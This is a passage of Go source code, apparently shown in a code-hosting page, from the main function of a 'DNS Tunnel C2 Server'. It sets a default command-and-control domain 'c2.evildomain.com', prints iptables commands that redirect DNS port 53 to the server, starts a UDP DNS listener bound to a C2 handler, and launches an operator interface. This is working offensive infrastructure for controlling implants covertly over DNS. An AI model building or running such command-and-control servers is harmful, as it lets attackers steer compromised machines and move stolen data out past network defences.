fmt.Println("Environment variables:")
|
||||||
|
fmt.Println(" C2_LISTEN — Listen address (default :5353)")
|
||||||
|
fmt.Println(" C2_DOMAIN — C2 domain (default c2.evildomain.com)")
|
||||||
|
fmt.Println()
|
||||||
|
fmt.Println("For privileged port 53, use iptables:")
|
||||||
|
fmt.Println(" sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 5353")
|
||||||
|
fmt.Println(" sudo iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-port 5353")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
serverID := os.Getenv("C2_SERVER_ID")
|
||||||
|
if serverID == "" {
|
||||||
|
serverID = generateID()
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("DNS Tunnel C2 Server starting...")
|
||||||
|
log.Printf("Server ID: %s", serverID)
|
||||||
|
log.Printf("Listening on: %s", listenAddr)
|
||||||
|
log.Printf("Domain: %s", domain)
|
||||||
|
log.Printf("")
|
||||||
|
log.Printf("⚠ Running on port 5353 by default (no root needed)")
|
||||||
|
log.Printf(" To redirect port 53 → 5353:")
|
||||||
|
log.Printf(" sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 5353")
|
||||||
|
log.Printf("")
|
||||||
|
|
||||||
|
srv := NewC2Server(domain)
|
||||||
|
|
||||||
|
// Start DNS server
|
||||||
|
dns.HandleFunc(domain+".", srv.ServeDNS)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
udpServer := &dns.Server{
|
||||||
|
Addr: listenAddr,
|
||||||
|
Net: "udp",
|
||||||
|
Handler: dns.DefaultServeMux,
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("UDP DNS listener starting on %s", listenAddr)
|
||||||
|
if err := udpServer.ListenAndServe(); err != nil {
|
||||||
|
log.Fatalf("Failed to start DNS server: %v", err)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// Give DNS server a moment to start
|
||||||
|
time.Sleep(100 * time.Millisecond)
|
||||||
|
|
||||||
|
// Shutdown channel for non-interactive mode
|
||||||
|
shutdown := make(chan struct{})
|
||||||
|
|
||||||
|
// Handle signals for clean shutdown
|
||||||
|
sigCh := make(chan os.Signal, 1)
|
||||||
|
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||||
|
go func() {
|
||||||
|
sig := <-sigCh
|
||||||
|
log.Printf("Received signal %v, shutting down...", sig)
|
||||||
|
close(shutdown)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// Start operator interface
|
||||||
|
operatorUI(srv, shutdown)
|
||||||
|
|
||||||
|
log.Printf("Server stopped")
|
||||||
|
}
|
||||||
Loading…
Reference in New Issue
Block a user